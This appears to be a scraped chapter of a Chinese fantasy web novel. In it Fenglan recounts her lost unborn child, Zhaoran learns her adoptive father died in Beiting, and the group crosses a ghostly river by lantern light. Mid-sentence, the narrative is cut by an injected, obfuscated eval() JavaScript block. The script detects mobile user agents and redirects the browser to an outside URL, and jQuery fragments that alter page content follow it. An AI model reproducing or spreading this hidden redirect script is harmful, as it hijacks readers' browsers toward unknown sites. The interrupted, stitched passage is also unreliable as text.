萧闲 作品

24. 柚子灯

“我见过你,”还没等凤澜开口,巫月忽然道,“在这小家伙的坟边,你经常去祭拜它,我能看出来,你……你是它母亲!”


这句话的冲击力不是一般大。


在众人眼中,凤澜一直是天赋型人才,精通音律,狂放不羁。她是昭然三个师父中,最年轻的一个,也正因为年纪轻轻,取得如此成就,才令人艳羡。


但没人想过师父成为师父之前,上小重山之前,作为凤澜姑娘,是怎么样的光景。


怀中的衣服停止挣扎,软绵绵地摊在凤澜手臂上,她像是远途而来的旅客,手持一件外衫,披一身风雪,满脸疲倦。


“师……父。”昭然有些担忧地看着她。平日里意气风发的人,此时身上笼罩着难以遮掩的悲戚。


“她是我修道前,未出世的孩子……”凤澜慢慢说,走过来将手里的寿衣还给巫月。


在那时候,她还只是一个醉心道法的寻常姑娘,家境普通,人却很能干。


像每一个情爱话本里的俗套故事,这位普通甚至有些窘迫的姑娘结识了一位才子。


男子家中不说富贵,比起她而言,却体面得多。


但他与那些田连阡陌的富者相比,仍不过是一个穷秀才罢了。


这位秀才依旧享有苦逼读书人的一般前程……


就是寒门没有前程。


但他却心系家国大事,在北庭饥荒,夷狄入侵,流民愈胜那几年,在街上逢人就问对锦官城大开城门的看法。


人人都当他是入仕无门,得了疯病。自家柴米油盐都没买齐备,小蝼蚁哪有命关心大社稷。


“诶,读书人,五枚铜板买一颗菜,顺带陪你聊。”


这是凤澜对他说的第一句话,她在路边摆摊买菜,百无聊赖看着他一脸焦急地关心根本影响不到自己的灾情,心中觉得有趣。


再后来,两人经常蹲在一起卖菜,有人嘲笑他,凤澜抄起菜筐就能撵出去。


郎情妾意,顺理成章,这倒是少了些话本里凶神恶煞的长辈和鬼里鬼气媒婆桥段。


但转折就发生在两人未婚先孕,男人家发现这件事的当天死了一名小厮,同日,江城数百人毫无预兆咽了气。


巫师指着凤澜的肚子说里头怀的是妖孽,灭掉才能还一方安宁。


“有病吧。”昭然不住说道,“随便将罪责推到一个手无缚鸡之力……”


她看了眼师父矫健的身子,“推到一个女子身上,无非是想掩盖过去什么,对吧,闻二启?”


她转过头去,闻启抿着唇,上前一步,伸手揽住昭然的胳膊,轻拍了拍她。


等待凤澜继续讲。


即使当时的凤澜还未得道,但骨子里的傲气绝不容忍这样的事发生,在发现秀才靠不住时,她自己躲回了家中。


既能窥宋玉,何必恨王昌。


但母亲当时端了碗白粥给她,里头还加了肉沫,说是暖胃的。


但凤澜希望自始至终都未曾喝下那白粥……


想到送粥之人竟是凤澜母亲,昭然还想说什么,话涌到舌尖,又被她吞了回去。


从对胎灵的恐惧到凤澜的苦楚,从街上游魂肆虐的担忧到太阳河的悲剧。她能看见的永远是从自己出发的视角,就算现在,也不能完全窥探事情原本的真相。


昭然不禁后背一凉,往闻启身边靠了靠,那她想去寻找的真相,会是事实吗。


闻启注意到她的冷颤,另一只手也扶着她,轻缓地拍着。


“我把她埋在城郭的小山上,”凤澜哂笑一声,“我也没放过她,不想让她离开我。”


“可这样她不会得到安息,”闻启看着她,轻声道,“师父,放下吧,让她轮回到个好去处。”


此时,河面浮起点点橙黄色的光,照亮整条河流,如同一条灯带。给灰白的鬼坊带来一束温热。


照亮行色匆匆的路人。


昭然对河里这玩意儿再熟悉不过。


凤澜趁她还傻的时候,让她曾经没日没夜做的,就是这个袖子灯。


“别动!”盛叔放看见光就欢喜,特别是这么明亮的光,飞蛾扑火一样跑到河边。全然没听到昭然的警告,就要提起一盏来。


满河的柚子灯和彩船都是有主的,是世间人为怀念故人放出的信,不可轻易拦截。


“愿有来处可回,有去处可往。”


此时盛叔放不仅拿起一盏仔细端详,还欠揍地念了句,“这个字,有些不忍直视。”


他翻过一面,拧着眉努力识别,“昭……然?”


盛叔放猛地扭头看过来。


昭然也愣住了。


“这都是你做的,”凤澜眼中一条灯路蜿蜒而上,“上回去小重山拿来的,这里的魂收不到柚子灯,你也没指名道姓,正好合适。”


昭然看着往来惊喜的游魂,拾起一盏橘黄色提灯,就要拿回家去。忽地想起那些个日日夜夜,竟也有了不同寻常的意义。


“你数什么呢?”大胆走到盛叔放旁边,盛公子不露痕迹远离他一步。


“五十九,六十……哎你打断我干嘛!”盛叔放眯着眼睛从头开始,“我数数昭然吃了多少个柚子,倒是真多啊!”


……


说话间,凤澜怀里的胎灵又撞了撞,凤澜叹出一口气,“昭然,能送她一盏吗?”


盛叔放生怕那家伙又来找他投胎,几乎是瞬移到凤澜面前,隔八百米远弯腰控背递给她,“给。”


“前面有胎灵转世祈福的庙,”凤澜接过袖子灯,道了句谢谢,“要一起吗?”


盛叔放本来是想拒绝的,脑补了下满庙宇都是血肉模糊的团子。


他怕以后彻底吃不下饺子了。


但留下他一人在这鬼坊,不如让他死。


“隔壁是什么声音?”盛叔放小跑两步跟上众人,回头间,巫月还站在门口和他们告别,他勉强回了个笑容。


河中浮现彩船和柚子灯的时候,他就隐约听见了鬼哭狼嚎的声音,忽远忽近,幽咽呜咽。


“是枉死城。”凤澜说,“与这鬼坊同理。但凶鬼不入轮回,因为太过险恶,无法随意走动,关在枉死城等三年之期届满,魂飞魄散。”


她侧头垂眸瞥了眼河中光亮,“这些灯火激起他们心中的不满,才会嚎叫。”


“那你绿得这么惨……”盛叔放嘴碎地用下巴指了指大胆,大胆一个回眸,他便偃旗息鼓。


胆子是练不起来的,本性难移啊。


“说明我这点绿,去了那什么枉死城,就是百绿丛中一点花。”大胆不知道在自豪些什么,“我还算个好鬼。”


闻启和昭然并肩殿后,他伸手将昭然额头的碎发捋到耳边。“刚才就看你不太对劲,怎么了?”


“太阳河水患……我当时其实可以去帮忙的。”昭然面露惆怅,没想隐瞒什么,“但当时围剿小重山的人快到山脚了,锦官城又面临破城危机,杜氏说能守住锦官城,就放小重山一条路。”


“我就没去太阳河那边……”昭然低下声音,“没想到死伤这么严重。”


“单单洪水,不至于整个小镇都没了,”闻启轻捏了捏她鼻


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826543|157384||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


尖,说,“上游小山多,总应该有逃出去的人,不可能无人生还。”


“你的意思是……”昭然猛地抬头。


这个可能性她不是没有想过,但因为深陷内疚,没有深究。


“嗯。”闻启点点头,揽着她的手搓了搓她胳膊,“这么久不见,我妹还挺有责任心的,不亏是闻家的孩子。”


“我姓昭,皇后养了我那么多年,我现在是女帝,你懂吗?”昭然挣开他,戳了戳闻启胳膊,“你个小北庭王。”


“对了,老闻也回来了吗?”昭然挑了挑眉,“要不是之前傻了一阵子,我早找你们去了,北庭的烤羊排真那么好吃……”


“哥?”昭然见闻启不语,心中猛地一缩,像被人捏紧了,喘不过气来,她笑笑,“老闻……回来了吧?”


闻启摇头,伸手拉起她的一只手,拇指在她掌心摩挲了阵,让自己声音尽量平稳,“昭然,老闻他永远留在北庭了。”


昭然顿时别过头去,努力把眼泪眨回去,深吸了两口气才笑着说:“哥,还有我呢,我一直都是闻家的人。”


闻启嗤的一声,笑了。


昭然一直知道北庭的日子不会舒心,但闻启和闻耀灵毕竟是两个人,还能相互安慰,她一直这样想。


却没想到如今只剩下她和闻启了……


“哥,有我呢。”昭然轻声说。


“嗯,我知道,所以我来找你了。”


说着前方到了河滩尽头,无路可走,凤澜对盛叔放说:“把水边那盏灯笼拿起来。”


“这是什么做的?”盛叔放在师父面前百依百顺,弯腰就去拿,“在水里还不会灭。”


“人皮。”凤澜轻声说。


盛叔放呆滞了三秒,直接用想把自己碰灯笼的胳膊甩出去的架势抽搐。


他抽着抽着就仰倒在河滩上。


灯笼轻落在他脚边,盛叔放跟被雷劈了一样又弹了下,将那灯笼一脚往河中心踢去。


但灯笼却没有沉。


其下缓缓出现一座木质桥梁,深褐色纹路,一直通往漆黑的河对岸。


大胆看见他这幅样子,有些尴尬。想到自己平时就是这么被围观,像个傻鸡一样在地上弹跳,抽搐。


他下意识摸了摸自己的脸皮,快没了。


“噢哟,死了?”闻启看见,不由地笑道,“下回过桥的人,就拿有德兄的皮做的灯笼了,好心善的人呐。”


“没没没!”听见他这话,盛叔放顶着一口气,喝醉了一样,踉跄几步站起,一只手还指着天。


他尽力将五官撑开,眼睛瞪圆,“没死,不会废物利用!”


“那走吧。”凤澜全程没有一丝表情,弯腰捡起那灯笼,刚踏上桥,桥面就发出嘎吱一声响。


在空旷的河边荡开,格外阴森。


她回头,灯火从下巴往上照出难以言说的角度,慢慢说:“过桥的时候,一人拿一盏,看清脚下,别着急……”


明明是善意的提醒,却怎么听怎么瘆人呢。


盛叔放抬头刚好与她打了个照面,左右脚一绊,又趴那儿了。


他看着闻启和昭然牵着手从自己面前经过时,福至心灵,一下子身手敏捷地窜天而起,一个手刀断开两人紧握的手。


“好朋友,小叔子,我们一起走。”他嘿嘿一笑,一手牵着闻启,另一手就要去拉昭然。


闻启膝盖在他膝弯一抵,盛叔放立马“咚”的一声,跪在桥头,仰天长嚎了一嗓子。“小叔!”


闻启略过他,走到昭然旁边,“想牵谁呢?”